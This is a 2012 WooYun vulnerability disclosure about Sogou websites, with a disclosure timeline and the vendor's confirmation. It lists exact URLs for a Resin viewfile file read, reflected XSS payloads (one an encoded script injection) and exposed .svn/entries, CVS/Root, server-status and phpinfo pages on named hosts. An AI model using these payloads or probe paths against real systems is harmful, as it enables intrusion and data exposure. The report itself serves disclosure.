漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-016547
漏洞标题：搜狗敏感信息泄漏一箩筐
相关厂商：搜狗
漏洞作者： 疯子
提交时间：2012-12-26 18:55
修复时间：2013-02-09 18:56
公开时间：2013-02-09 18:56
漏洞类型：重要敏感信息泄露
危害等级：低
自评Rank：5
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-12-26： 细节已通知厂商并且等待厂商处理中
2012-12-29： 厂商已经确认，细节仅向厂商公开
2013-01-08： 细节向核心白帽子及相关领域专家公开
2013-01-18： 细节向普通白帽子公开
2013-01-28： 细节向实习白帽子公开
2013-02-09： 细节向公众公开
简要描述：
sogou多处安全漏洞：
1，Resin配置漏洞
XSS
phpinfo
server-status
svn_entries
cvsroot
详细说明：
1.Resin配置漏洞
http://p4p.sogou.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xml
http://apihome.sogou.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xml
http://b2b.sogou.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xml
http://union.sogou.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xml
2.XSS
http://apihome.sogou.com/docs.jsp?flag=http://madman.in
http://map.sogou.com/shouji/?prod=--%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,alert(1)%3E%3C/script%3E
3.svn_entries
http://bbs.agent.sogou.com/.svn/entries
通过程序遍历站点结构与代码
4.cvsroot
http://cmail.sogou.com/a/CVS/Root
http://pinyin.sogou.com/CVS/Root
5.apache敏感信息泄露
http://yy.sogou.com/server-status
6.phpinfo
http://ie.sogou.com/tools/phpinfo.php
http://ie.sogou.com/info.php
漏洞证明：
看详情
修复方案：
礼物有木有？
版权声明：转载请注明来源 疯子@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2012-12-29 21:50
厂商回复：
感谢提供，处理中
最新状态：
暂无
漏洞评价：
评论
-
@疯子 你猜呢，下次一定要尽量写全啊
( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)